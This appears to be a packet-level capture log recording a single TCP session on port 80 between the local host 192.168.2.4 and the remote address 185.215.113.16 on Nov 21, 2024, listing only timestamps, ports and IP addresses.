Nov 21, 2024 07:10:28.940639019 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.941771984 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.941833019 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.941904068 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.941961050 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.943075895 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.943133116 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.943258047 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.943314075 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.944441080 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.944494963 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.944497108 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.944550991 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.945703030 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.945766926 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.945815086 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.945873022 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.946994066 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.947060108 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.947088957 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.947145939 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.948262930 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.948363066 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.948370934 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.948425055 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.949525118 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.949646950 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.949650049 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.949820995 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.950833082 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.950903893 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.950947046 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.951005936 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.952080011 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.952155113 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.952193975 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.952250957 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.953325033 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.953387022 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.953438997 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.953499079 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.954566002 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.954631090 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.954659939 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.954716921 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.955792904 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.955845118 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.955851078 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.955905914 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.957042933 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.957104921 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.957180023 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.957245111 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.958308935 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.958417892 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.958425999 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.958486080 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.959546089 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.959608078 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.959700108 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.959757090 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.960792065 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.960846901 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.960916042 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.960971117 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.962038040 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.962095976 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.962157965 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.962215900 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.963274002 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.963339090 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.963416100 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.963473082 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.964602947 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.964654922 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.964665890 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.964711905 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.965766907 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.965827942 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.965869904 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.965925932 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.967044115 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.967104912 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.967176914 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.967233896 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.968275070 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.968334913 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.968436956 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.968494892 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.969520092 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.969569921 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.969578028 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.969630003 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.970761061 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.970818996 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.970890045 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.970947981 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.972022057 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.972080946 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.972155094 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.972213030 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.973259926 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.973316908 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.973376036 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.973431110 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.974503994 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.974560976 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.974632978 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.974689960 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.975827932 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.975886106 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.975948095 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.976007938 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.976984978 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.977042913 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.977111101 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.977169037 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.978245020 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.978303909 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.978359938 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.978418112 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.979479074 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.979542971 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.979607105 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.979665041 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.980748892 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.980804920 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.980866909 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.980937004 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.981981993 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.982040882 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.982100010 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.982172012 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.983236074 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.983294010 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.983506918 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.983562946 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.984514952 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.984572887 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.984579086 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.984632969 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.985727072 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.985779047 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.985786915 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.985837936 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.986969948 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.987027884 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.987077951 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.987139940 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.988204956 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.988264084 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.988334894 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.988394022 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.989471912 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.989532948 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.989604950 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.989664078 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.990724087 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.990782022 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.990869045 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.990923882 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.992000103 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.992058039 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.992110014 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.992166042 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.993277073 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.993335009 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.993375063 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.993432999 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.994396925 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.994456053 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.129640102 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.129731894 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.129779100 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.129853010 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.130019903 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.130178928 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.130233049 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.130264044 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.131124020 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.131191969 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.131247997 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.131326914 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.132164001 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.132225990 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.132287025 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.132342100 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.133246899 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.133328915 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.133387089 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.133449078 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.134340048 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.134428978 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.134507895 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.134571075 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.135503054 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.135539055 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.135582924 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.135612965 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.136554003 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.136636019 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.136677980 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.136737108 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.137593985 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.137662888 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.137681007 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.137742043 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.138725042 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.138787031 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.138871908 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.138928890 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.139807940 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.139869928 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.139928102 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.139983892 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.140881062 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.140938997 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.140980959 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.141036987 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.141942978 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.142000914 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.142062902 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.142121077 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.143042088 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.143100023 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.143146992 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.143204927 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.144131899 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.144190073 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.144243002 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.144299984 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.145210028 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.145267963 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.145308971 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.145361900 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.146291018 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.146348953 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.146420002 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.146476030 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.147377014 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.147435904 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.147516966 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.147576094 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.151647091 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.151681900 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.151712894 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.151715994 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.151736975 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.151751041 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.151774883 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.151787043 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.151812077 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.151823044 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.151832104 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.151878119 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.152689934 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.152854919 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.152875900 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.152934074 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.153753996 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.153805017 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.153932095 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.153989077 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.154892921 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.154956102 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.155041933 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.155101061 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.155966997 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.156004906 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.156028032 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.156064987 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.156992912 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.157046080 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.157171011 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.157226086 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.158021927 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.158082008 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.158216000 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.158272982 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.159301043 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.159351110 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.159360886 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.159406900 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.160351992 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.160387993 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.160412073 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.160443068 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.161353111 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.161403894 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.161524057 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.161581039 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.162425041 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.162482977 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.162600040 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.162656069 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.163480043 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.163536072 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.163628101 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.163683891 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.164514065 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.164572954 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.164660931 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.164712906 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.165690899 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.165761948 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.165832996 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.165891886 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.166790009 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.166862011 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.166933060 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.166990995 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.167848110 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.167903900 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.167990923 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.168045044 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.169028997 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.169063091 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.169095993 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.169127941 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.170063972 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.170255899 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.170308113 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.170340061 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.171160936 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.171195984 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.171222925 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.171256065 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.172174931 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.172231913 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.172305107 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.172362089 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.173366070 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.173399925 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.173423052 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.173468113 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.174360991 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.174417019 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.174539089 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.174599886 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.175585985 CET	80	49810	185.215.113.16	192.168.2.4
